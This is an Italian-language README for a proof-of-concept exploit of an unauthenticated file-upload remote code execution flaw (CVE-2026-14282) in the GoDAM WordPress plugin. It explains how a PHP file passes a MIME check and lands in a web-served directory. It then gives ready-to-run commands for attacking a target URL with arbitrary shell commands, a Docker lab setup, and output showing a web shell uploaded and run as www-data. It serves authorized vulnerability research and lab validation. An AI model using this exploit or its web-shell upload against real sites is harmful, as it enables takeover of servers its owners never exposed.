
GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)
Autore: nullwhisper
Caso d'uso: solo ricerca di sicurezza autorizzata / validazione di vulnerabilità.
Le versioni <= 1.12.2 del plugin WordPress GoDAM registrano un campo WPForms
chiamato godam_record. Il gestore di upload save_video_file() è agganciato
all'azione pubblica wpforms_process_before_filter, quindi viene eseguito prima
di qualsiasi controllo di autenticazione. Il gestore si fida dell'header
Content-Type controllato dall'attaccante, accetta un file PHP purché il tipo
MIME inizi con video/, e lo sposta nella directory servita dal web
wp-content/uploads/godam/wpforms/. Questo consente a un attaccante non
autenticato di caricare ed eseguire codice PHP arbitrario.
.
├── cve_2026_14282_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
Lo script rileva automaticamente l'ID del modulo WPForms e l'ID del campo GoDAM. Se la pagina contiene più moduli o la rilevazione fallisce, usa:
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
Scarica i plugin vulnerabili (non ridistribuire i binari):
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
Avvia il laboratorio:
cd lab
docker compose up -d
Completa l'installazione di WordPress all'indirizzo http://127.0.0.1:8092.
Installa e attiva i plugin, poi crea il modulo e la pagina di test:
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
Esegui il PoC:
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
Testato su WordPress 6.8 + WPForms Lite ultima versione + GoDAM 1.12.2.
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
Questo repository contiene solo il PoC e i file di orchestrazione del laboratorio. I binari dei plugin vulnerabili sono esclusi per evitare appesantimento e problemi di distribuzione. Scarica le versioni vulnerabili specifiche da WordPress.org per il tuo laboratorio.
Questo strumento è destinato esclusivamente a test di sicurezza e ricerca autorizzati. Non usarlo contro sistemi che non possiedi o per i quali non hai il permesso esplicito di effettuare test. L'autore non è responsabile di usi impropri o danni causati da questo codice.